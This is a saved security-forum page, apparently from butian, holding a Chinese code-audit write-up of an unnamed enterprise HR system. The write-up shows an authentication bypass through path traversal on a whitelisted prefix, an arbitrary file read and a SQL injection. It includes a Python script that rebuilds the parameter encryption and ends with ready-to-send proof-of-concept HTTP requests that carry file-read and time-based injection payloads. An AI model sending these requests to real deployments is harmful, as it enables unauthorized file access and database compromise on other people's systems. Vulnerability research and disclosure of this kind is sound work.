LETRy5y0q7+cl6NpoI9clO3BQ6aaUaNZDPffO+traDZca5SYUKaliYYTGS0z4QL/5nuR0uiGifjLtU11yWWy6WjbQM9GeSt5vtJhPo1b1O7loJmdPNZJSVIgvffnB0sZ7rqXyFxdBWtImhxlT8+LZdNjK+ZzPAwvNrwHpolDq60OhpBSiMBMItLZELPtwYnDQt9R6KacgXYBJ9z4aAA5RXEJswSK6l14zUj5y/Sr7uwRDPsAeHoOn4Rd4UFW6eh6tfVkRPQIP9cyVFrx99dC2xxCaGQrnDRw2LWAvIkgLCm+FJpJEl0kw/0UyWGGJlS0fqXsONcCBmTwNLH2U0RNgYDb6x+0YkGppounYaW08VXVqWala+moOQlxAjGfLM0VqZnCW+JifOrra7eoQV9vHrp+62d+zjpyUznClxLMzYW+v+xGBMYhkYYv4IJwDt92rpf2ImUqC17I/IGrOcTeuvk3D5s5mZplZtWbLHNRzAh6wGySbnAmElUj9kRTmrGyllvW5v8CIlyglLptyBuPSdz8D8r5tPX4LgnmyY1mRYmcpPMtXhCAvVngW2muptJIk5/OPDELwcn7xhgGn0/A5E942jTDRJv6ZX3ZNAFnCJYST0p175kV/iTY8w+mVx8Lt2yWLJas0rYuO36BP3kDv807h+QihgqoiWrcY309Ee3UzUw+Mx1eLTbCVUqftM3M8w/UZp5HYsw2jgKbxsFxJDjCNqy6gxS0y3a3sz+OErTuvCeyDMNUOtn1Oqy9i9fYajk57hEmZs3xiX3LEZfidX3BTaYPjyhQPPhIn3HesNfzb+lJGLNGHiCUeU1mWhLvGV2ijNkxfaeyDoz2am75pMfEz/llJN064Q3CNScnwxJS+wxIoD6hyr769MKvde2qJGfe6hXKLS7yemeXQom8pbNnE9IczbmG/VDF/XKfDSRlFKOltvfeyvd+Dm5PCRPRs+qx/ZbOzx+Ykw4Xfd1ieLine truncated
|
||||
<style>@media(min-width:1200px){}@media(min-width:768px){}@media(max-width:767px){}@media(max-width:767px){}pre{white-space:pre-wrap}@media(min-width:768px){}@media(min-width:992px){}@media(min-width:1200px){}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:-apple-system,"Helvetica Neue",Helvetica,Arial,"PingFang SC","Hiragino Sans GB","WenQuanYi Micro Hei","Microsoft Yahei",sans-serif;font-size:14px;line-height:1.5;color:#333;background-color:#f6f6f6;word-break:break-word}textarea{font-family:inherit;font-size:inherit;line-height:inherit}ul{padding:0}.wrap{padding-bottom:30px;position:relative}.main{background-color:#fff;border-radius:4px}.mb-20{margin-bottom:20px}.mt-10{margin-top:10px}.mt-30{margin-top:30px}.taglist-inline{list-style:none;padding:0;font-size:0}.taglist-inline li{padding:0;font-size:13px}.taglist-inline>li{display:inline-block;margin-right:5px}.taglist-inline>li:last-child{margin-right:0}.widget-article .quote{padding:25px;background:#f3f5f9;line-height:24px;overflow:hidden}@media(min-width:768px){}.word-wrap{word-wrap:break-word;word-break:normal}::-webkit-scrollbar{width:6px;height:6px}::-webkit-scrollbar-thumb{background-color:#e4e6eb;outline:0;border-radius:2px}::-webkit-scrollbar-track{box-shadow:none;border-radius:2px}</style>
|
||||
<style>a{text-decoration:none}a:focus,a:hover{color:#004e31;text-decoration:underline}@media(max-width:767px){}@media(max-width:767px){}.tag{display:inline-block;padding:0 8px;color:#017e66;background-color:#e7f2ed;height:24px;line-height:24px;font-weight:400;font-size:13px;text-align:center}.tag[href]:focus,.tag[href]:hover{background-color:#017e66;color:#fff;text-decoration:none}</style>
|
||||
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}pre code.hljs{overflow-x:auto}.hljs{color:#000}.hljs-built_in,.hljs-keyword{color:#00f}.hljs-literal,.hljs-string,.hljs-title{color:#a31515}.hljs-attr{color:red}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#ffebe9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#fff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body h2,.markdown-body h3{margin-top:24px;margin-bottom:16px;line-height:1.25}.markdown-body h2{font-weight:600;padding-bottom:.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body h3{font-weight:600;font-size:1.25em}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body p,.markdown-body pre{margin-top:0;margin-bottom:16px}.markdown-body code{padding:.2em .4em;margin:0;font-size:85%;background-color:var(--color-neutral-muted);border-radius:6px}.markdown-body pre code{font-size:100%}.markdown-body pre>code{word-break:normal;white-space:pre;background:transparent}.markdown-body pre{padding:16px;overflow:auto;font-size:85%;line-height:1.45;background-color:var(--color-canvas-subtle);border-radius:6px}.markdown-body pre code{display:inline;padding:0;margin:0;overflow:visible;line-height:inherit;word-wrap:normal;background-color:transparent;border:0}.markdown-body ::-webkit-calendar-picker-indicator{-webkit-filter:invert(50%);filter:invert(50%)}</style>
|
||||
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
|
||||
<!--[if lt IE 9]>
|
||||
<script src="/static/js/html5shiv.min.js"></script>
|
||||
<script src="/static/js/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@media screen and (max-width:1100px){}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0Line truncated
|
||||
<body>
|
||||
<div class="global-nav mb-50" style="display:none !important">
|
||||
|
||||
</div>
|
||||
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
|
||||
<!--[if lt IE 9]>
|
||||
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
|
||||
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
||||
</div>
|
||||
<![endif]-->
|
||||
|
||||
</div>
|
||||
<div class=wrap>
|
||||
<div class=container>
|
||||
<div class="row mt-10">
|
||||
<div class="col-xs-12 col-md-9 main">
|
||||
<div class=widget-article>
|
||||
<h3 class="title word-wrap">记某景的一次代码审计</h3>
|
||||
<ul class=taglist-inline>
|
||||
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
|
||||
</ul>
|
||||
<div class="content mt-10">
|
||||
<div class="quote mb-20">
|
||||
过滤器查找+漏洞审计+加解密算法破解
|
||||
</div>
|
||||
<textarea id=md_view_content style=display:none>0x00 前言
|
||||
-------
|
||||
|
||||
我只能说,某景漏洞多的一。。。。。。
|
||||
今天,就捡两个公开过的漏洞进行下审计吧
|
||||
|
||||
0x01 过滤器查找
|
||||
----------
|
||||
|
||||
有经验的师傅都知道,此系统很多接口是做了鉴权的,并不能未授权访问。但是,有的接口加白了,可以通过加白接口进行路径穿越绕过鉴权。
|
||||
废话不多说,开始正题。一般过滤器都会在web.xml里找到对应的接口与类名,搜索单词filter,定位到HireKeywordFilter类
|
||||
|
||||

|
||||
查看代码,`var3.doFilter(var1, var2);`这行代码是调用FilterChain对象的`doFilter`方法,将ServletRequest对象和ServletResponse对象传递给下一个过滤器或Servlet进行处理。在Servlet过滤器中,通过调用`FilterChain`的`doFilter`方法,可以将请求传递给过滤器链中的下一个过滤器,或者如果没有下一个过滤器了,则传递给Servlet进行处理。
|
||||
|
||||

|
||||

|
||||
在这个例子中,若var6也就是uri是以/w\_selfservice/oauthservlet开头的,即执行`var3.doFilter(var1, var2);`。那么当我访问其他接口。则使用/w\_selfservice/oauthservlet../../即可绕过鉴权
|
||||
|
||||
0x02 漏洞审计
|
||||
---------
|
||||
|
||||
在此,以最近爆出的DisplayFiles文件读取和showmediainfo注入为例开始审计。
|
||||
|
||||
### DisplayFiles文件读取
|
||||
|
||||
web.xml搜索DisplayFiles,定位到代码:
|
||||
|
||||

|
||||
|
||||

|
||||
可见从前端接受参数filepath,赋值给var3变量,var3经过SafeCode.decode方法,PubFunc.decrypt方法后,得到明文,根据方法名就可以初步猜测是解码和解密操作。后续就很简单了,var3传入File类,赋值给var4,开始获取文件的字节流并输出到响应里面
|
||||
|
||||
### showmediainfo注入
|
||||
|
||||
web.xml搜索showmediainfo,定位到代码:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
前端接受usernumber、i9999、kind三个参数,分别赋值给var3、var4、var5三个变量。而后续逻辑明显可以看到sql语句的拼接,也就是注入点。发现var3和var4可注入,而var5是作为if的判断值。var3参数也经过 PubFunc.decrypt的解密。因此这个接口的注入,var4是比较简单的,var3需要经过解密操作。
|
||||
|
||||
0x03 加解密破解
|
||||
----------
|
||||
|
||||
由上方的漏洞审计可知,两个漏洞参数都需要进行解密操作,意味着前端传入的参数值是一个密文。跟进解密方法查看代码。刚好看到加密方法也在上方。
|
||||
|
||||
```js
|
||||
public static String encrypt(String var0) {
|
||||
if (null \== var0) {
|
||||
return "";
|
||||
} else {
|
||||
String var1 = SafeCode.encrypt(var0);
|
||||
var1 = var1.replaceAll("%", "@2HJ5@");
|
||||
var1 = var1.replaceAll("\\\\+", "@2HJB@");
|
||||
var1 = var1.replaceAll(" ", "@2HJ0@");
|
||||
var1 = var1.replaceAll("\\\\/", "@2HJF@");
|
||||
var1 = var1.replaceAll("\\\\?", "@3HJF@");
|
||||
var1 = var1.replaceAll("#", "@2HJ3@");
|
||||
var1 = var1.replaceAll("&", "@2HJ6@");
|
||||
var1 = var1.replaceAll("=", "@3HJD@");
|
||||
var1 = var1.replaceAll("\\r\\n", "").replaceAll("\\n", "").replaceAll("\\r", "");
|
||||
var1 = var1.replaceAll("@", "PAATTP");
|
||||
return var1;
|
||||
}
|
||||
}
|
||||
|
||||
public static String decrypt(String var0) {
|
||||
if (null \== var0) {
|
||||
return "";
|
||||
} else {
|
||||
var0 = var0.replaceAll("PAATTP", "@");
|
||||
var0 = var0.replaceAll("@2HJ5@", "%");
|
||||
var0 = var0.replaceAll("@2HJB@", "\\\\+");
|
||||
var0 = var0.replaceAll("@2HJ0@", " ");
|
||||
var0 = var0.replaceAll("@2HJF@", "\\\\/");
|
||||
var0 = var0.replaceAll("@3HJF@", "\\\\?");
|
||||
var0 = var0.replaceAll("@2HJ3@", "#");
|
||||
var0 = var0.replaceAll("@2HJ6@", "&");
|
||||
var0 = var0.replaceAll("@3HJD@", "=");
|
||||
String var1 = SafeCode.decrypt(var0);
|
||||
return var1;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
先看加密方法,首先var0参数传入到SafeCode.encrypt方法进行加密,跟进此方法,可以看到使用的是des加解密函数,为对称加密算法,意味着只要有加密密钥,即可正向加密,也可逆向解密。而加密密钥即为下图马赛克的值(这属于厂商敏感信息,不明文展示了):
|
||||
|
||||

|
||||
|
||||
搞懂了加解密算法实际为des加解密,然后再回到PubFunc.encrypt方法,可知进行了des加密后,又要把密文的%,+,/等字符(具体看上方代码)进行一个替换,得到最终的密文。而同样的,查看PubFunc.decrypt方法代码,可得是加密的逆向操作,先对密文进行字符串替换,得到des的密文,再进行des解密。使用此逻辑写python加解密脚本,如下:
|
||||
|
||||
```js
|
||||
from Crypto.Cipher import DES
|
||||
from Crypto.Util.Padding import pad, unpad
|
||||
from base64 import b64encode, b64decode
|
||||
|
||||
def encrypt(key, data):
|
||||
key = key.encode('utf-8')
|
||||
data = data.encode('utf-8')
|
||||
iv = b'\x01\x02\x03\x04\x05\x06\x07\x08' # 初始化向量
|
||||
cipher = DES.new(key, DES.MODE_CBC, iv)
|
||||
ct_bytes = cipher.encrypt(pad(data, DES.block_size))
|
||||
var1=b64encode(ct_bytes).decode('utf-8')
|
||||
var1 = var1.replace("%", "@2HJ5@");
|
||||
var1 = var1.replace("+", "@2HJB@");
|
||||
var1 = var1.replace(" ", "@2HJ0@");
|
||||
var1 = var1.replace("/", "@2HJF@");
|
||||
var1 = var1.replace("?", "@3HJF@");
|
||||
var1 = var1.replace("#", "@2HJ3@");
|
||||
var1 = var1.replace("&", "@2HJ6@");
|
||||
var1 = var1.replace("=", "@3HJD@");
|
||||
var1 = var1.replace("\r\n", "").replace("\n", "").replace("\r", "");
|
||||
var1 = var1.replace("@", "PAATTP");
|
||||
return var1
|
||||
|
||||
def decrypt(key, encrypted_data):
|
||||
key = key.encode('utf-8')
|
||||
encrypted_data = encrypted_data.replace("PAATTP", "@");
|
||||
encrypted_data = encrypted_data.replace("@2HJ5@", "%");
|
||||
encrypted_data = encrypted_data.replace("@2HJB@", "+");
|
||||
encrypted_data = encrypted_data.replace("@2HJ0@", " ");
|
||||
encrypted_data = encrypted_data.replace("@2HJF@", "/");
|
||||
encrypted_data = encrypted_data.replace("@3HJF@", "?");
|
||||
encrypted_data = encrypted_data.replace("@2HJ3@", "#");
|
||||
encrypted_data = encrypted_data.replace("@2HJ6@", "&");
|
||||
encrypted_data = encrypted_data.replace("@3HJD@", "=");
|
||||
encrypted_data = b64decode(encrypted_data)
|
||||
iv = b'\x01\x02\x03\x04\x05\x06\x07\x08' # 初始化向量
|
||||
cipher = DES.new(key, DES.MODE_CBC, iv)
|
||||
pt_bytes = unpad(cipher.decrypt(encrypted_data), DES.block_size)
|
||||
return pt_bytes.decode('utf-8')
|
||||
|
||||
if __name__ == "__main__":
|
||||
key = "xxxxx"
|
||||
data = "1' if db_name(1)='master' waitfor delay '0:0:6'--+"
|
||||
|
||||
encrypted_data = encrypt(key, data)
|
||||
print("Encrypted:", encrypted_data)
|
||||
encrypted_data='0JALorlQogBNgRuaXkp7QCus5DXQ1K1RU60C2QunGQUgKkcXUh9HXukA75IwTpCaGcqFlluMQLvPAATTP2HJFPAATTPgvSl8mZXxPAATTP2HJFPAATTPe2LWnL7Rg2Ceg0zzONMioPAATTP3HJDPAATTP'
|
||||
decrypted_data = decrypt(key, encrypted_data)
|
||||
print("Decrypted:", decrypted_data)
|
||||
|
||||
```
|
||||
|
||||
运行示意图:
|
||||
|
||||

|
||||
|
||||
0x04 最终poc
|
||||
----------
|
||||
|
||||
### DisplayFiles文件读取
|
||||
|
||||
读取c:/windows/win.ini,先加密路径:
|
||||
|
||||

|
||||
发送poc:
|
||||
|
||||
```js
|
||||
POST /templates/attestation/../../servlet/DisplayFiles HTTP/1.1
|
||||
Host:
|
||||
User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 41
|
||||
|
||||
filepath=Iy4ZOyMhERdhPLlFrJHBaRdJo53c25S1
|
||||
```
|
||||
|
||||

|
||||
|
||||
### showmediainfo注入
|
||||
|
||||
先是简单的i9999参数注入,不走if (var5.equalsIgnoreCase("0")),即令kind=1,为字符型注入。payload:' waitfor delay '0:0:6'--+
|
||||
poc:
|
||||
|
||||
```js
|
||||
POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1
|
||||
Host:
|
||||
User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 53
|
||||
|
||||
kind=1&usernumber=&i9999=12' waitfor delay '0:0:6'--+
|
||||
```
|
||||
|
||||

|
||||
然后是usernumber注入,需要进入if (var5.equalsIgnoreCase("0")),即令kind=0,还需要加密payload:
|
||||
|
||||

|
||||
poc:
|
||||
|
||||
```js
|
||||
POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1
|
||||
Host: 127.0.0.1:8080
|
||||
User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 84
|
||||
|
||||
kind=0&usernumber=i8hoHAILh4YkvJtIAayRbk4pSpIEAvWmx22WPMFig6wPAATTP3HJDPAATTP&i9999=
|
||||
```
|
||||
|
||||
</textarea>
|
||||
<div id=layer-photos-demo>
|
||||
<div id=md_view><div class=markdown-body><h2 blockindex=0>0x00 前言</h2>
|
||||
<p blockindex=1>我只能说,某景漏洞多的一。。。。。。<br>
|
||||
今天,就捡两个公开过的漏洞进行下审计吧</p>
|
||||
<h2 blockindex=2>0x01 过滤器查找</h2>
|
||||
<p blockindex=3>有经验的师傅都知道,此系统很多接口是做了鉴权的,并不能未授权访问。但是,有的接口加白了,可以通过加白接口进行路径穿越绕过鉴权。<br>
|
||||
废话不多说,开始正题。一般过滤器都会在web.xml里找到对应的接口与类名,搜索单词filter,定位到HireKeywordFilter类</p>
|
||||
